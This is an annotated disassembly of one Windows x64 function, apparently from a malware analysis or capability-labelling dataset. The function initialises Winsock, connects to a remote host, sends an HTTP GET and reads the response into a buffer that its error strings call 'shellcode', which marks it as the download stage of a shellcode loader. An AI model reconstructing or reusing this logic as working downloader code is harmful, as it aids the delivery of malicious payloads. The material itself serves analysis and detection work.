Function at 0x1400020f2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push rbp
sub rsp, 0xa30
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x9c0], rcx
mov qword [rbp + 0x9c8], rdx
mov qword [rbp + 0x9d0], r8
mov qword [rbp + 0x9d8], r9
mov dword [rbp + 0x9ac], 0
mov qword [rbp + 0x9a0], 0x400
mov qword [rbp + 0x998], 0
lea rax, [rbp + 0x7f0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
lea rax, [rbp + 0x7c0]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x7c4], 2
mov dword [rbp + 0x7c8], 1
mov dword [rbp + 0x7cc], 6
lea r8, [rbp + 0x7b8]
lea rcx, [rbp + 0x7c0]
mov rdx, qword [rbp + 0x9c8]
mov rax, qword [rbp + 0x9c0]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov rax, qword [rbp + 0x7b8]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x7b8]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 4]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x7b8]
mov rax, qword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
mov rdx, qword [rax + 0x20]
mov rax, qword [rbp + 0x990]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
mov rcx, qword [rbp + 0x9d0]
lea rax, [rbp + 0x3b0]
mov rdx, qword [rbp + 0x9c0]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.GET__s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
mov edx, 0x400
mov rcx, rax
call sym.snprintf_char__unsigned_long_long__char_const__::_
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x990]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x9a0]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x998], rax
cmp qword [rbp + 0x998], 0
jne 0x1400022da
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_allocate_memory_for_shellcode._n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x14000244a
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x990]
mov r9d, 0
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
jmp 0x1400023a7
mov edx, dword [rbp + 0x9ac]
mov eax, dword [rbp + 0x98c]
add eax, edx
cdqe
cmp qword [rbp + 0x9a0], rax
jae 0x140002372
add qword [rbp + 0x9a0], 0x400
mov rdx, qword [rbp + 0x9a0]
mov rax, qword [rbp + 0x998]
mov rcx, rax
call sym.realloc
mov qword [rbp + 0x998], rax
cmp qword [rbp + 0x998], 0
jne 0x140002372
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_reallocate_memory_for_shellcode._n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x14000244a
mov eax, dword [rbp + 0x98c]
movsxd r8, eax
mov eax, dword [rbp + 0x9ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x998]
lea rcx, [rdx + rax]
lea rax, [rbp - 0x50]
mov rdx, rax
call sym.memcpy
mov eax, dword [rbp + 0x98c]
add dword [rbp + 0x9ac], eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x990]
mov r9d, 0
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x98c], eax
cmp dword [rbp + 0x98c], 0
setg al
test al, al
jne 0x140002302
mov eax, dword [rbp + 0x9ac]
cdqe
cmp rax, qword [rbp + 0x9a0]
jae 0x140002409
mov eax, dword [rbp + 0x9ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x998]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x9d8]
mov rdx, qword [rbp + 0x998]
mov qword [rax], rdx
mov eax, dword [rbp + 0x9ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x9e0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x990]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0xa30
pop rbp
ret